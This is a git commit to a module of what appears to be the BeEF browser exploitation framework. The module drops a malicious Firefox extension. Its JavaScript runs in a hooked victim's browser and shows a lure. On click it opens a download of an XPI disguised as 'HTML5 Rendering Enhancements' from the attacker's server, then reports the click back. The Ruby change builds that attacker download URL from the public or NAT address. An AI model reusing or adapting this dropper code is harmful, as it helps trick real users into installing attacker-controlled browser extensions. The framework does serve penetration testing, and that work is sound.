Use NAT address - Fix #1116

Thanks @danilo-massa
This commit is contained in:
Brendan Coles
2015-05-09 18:33:28 +00:00
parent 4db4354c24
commit 2220b95b49
2 changed files with 6 additions and 3 deletions

View File

@@ -7,7 +7,7 @@
beef.execute(function() {
var xpi_name = '<%= @xpi_name %>';
var domain = '<%= @domain %>';
var base_host ='<%= @base_host %>';
var ff_extension = '/' + xpi_name + '.xpi';
if(beef.browser.isFF()){
@@ -28,7 +28,7 @@ beef.execute(function() {
$j(this).remove();
});
//window.location.href = ff_extension;
window.open(ff_extension);
window.open(base_host+ff_extension);
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=User has clicked the notification');
});
$j(hid).css('cursor','pointer');

View File

@@ -82,11 +82,14 @@ class Firefox_extension_dropper < BeEF::Core::Command
def self.options
@configuration = BeEF::Core::Configuration.instance
proto = @configuration.get("beef.http.https.enable") == true ? "https" : "http"
beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port")
base_host = "#{proto}://#{beef_host}:#{beef_port}"
return [
{'name' => 'extension_name', 'ui_label' => 'Extension name', 'value' => 'HTML5 Rendering Enhancements'},
{'name' => 'xpi_name', 'ui_label' => 'Extension file (XPI) name', 'value' => 'HTML5_Enhancements'},
{'name' => 'domain', 'ui_label' => 'Serving Domain', 'value' => 'http://beefdomain'}
{'name' => 'base_host', 'ui_label' => 'Download from', 'value' => base_host, 'width'=>'150px'}
]
end